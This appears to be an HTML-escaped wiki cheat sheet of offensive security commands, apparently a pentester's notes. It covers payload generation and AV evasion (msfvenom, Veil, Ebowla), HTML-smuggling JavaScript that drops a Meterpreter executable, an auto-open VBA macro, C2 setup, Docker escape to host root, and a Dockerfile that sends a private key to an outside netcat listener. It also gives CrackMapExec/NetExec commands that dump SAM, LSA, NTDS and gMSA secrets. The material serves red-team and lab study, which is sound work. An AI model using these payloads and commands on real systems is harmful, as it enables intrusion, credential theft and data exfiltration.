[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
-lwsock32 and -lws2_32&lt;br /&gt;
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c in linux using --static ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.&lt;br /&gt;
gcc 45010.c -o exploit --static&lt;br /&gt;
&lt;br /&gt;
gcc 45010.c -o exploit -z execstack&lt;br /&gt;
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
# If the above dont work, try this&lt;br /&gt;
gcc -o sh.elf sh.c -z execstack -static&lt;br /&gt;
upx --best --lzma -o shupx.elf ./sh.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to 32-bit windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc exploit.c -m32 -o exploit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Docker - Privile Escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
This will create a docker image, that you can run and get a shell with&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a docker file&lt;br /&gt;
FROM alpine:latest&lt;br /&gt;
ENV WORKIDR /privesc&lt;br /&gt;
RUN mkdir -p $WORKDIR&lt;br /&gt;
VOLUME [ $WORKDIR]&lt;br /&gt;
WORKDIR $WORKDIR&lt;br /&gt;
# Build the docker container&lt;br /&gt;
docker build -t imagename .&lt;br /&gt;
# Now run the image with /bin/bash. -it means interactive and terminal&lt;br /&gt;
docker run -v /:/mountdir -it imagename /bin/bash&lt;br /&gt;
root@machine#&lt;br /&gt;
-----------------------------------------------&lt;br /&gt;
#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
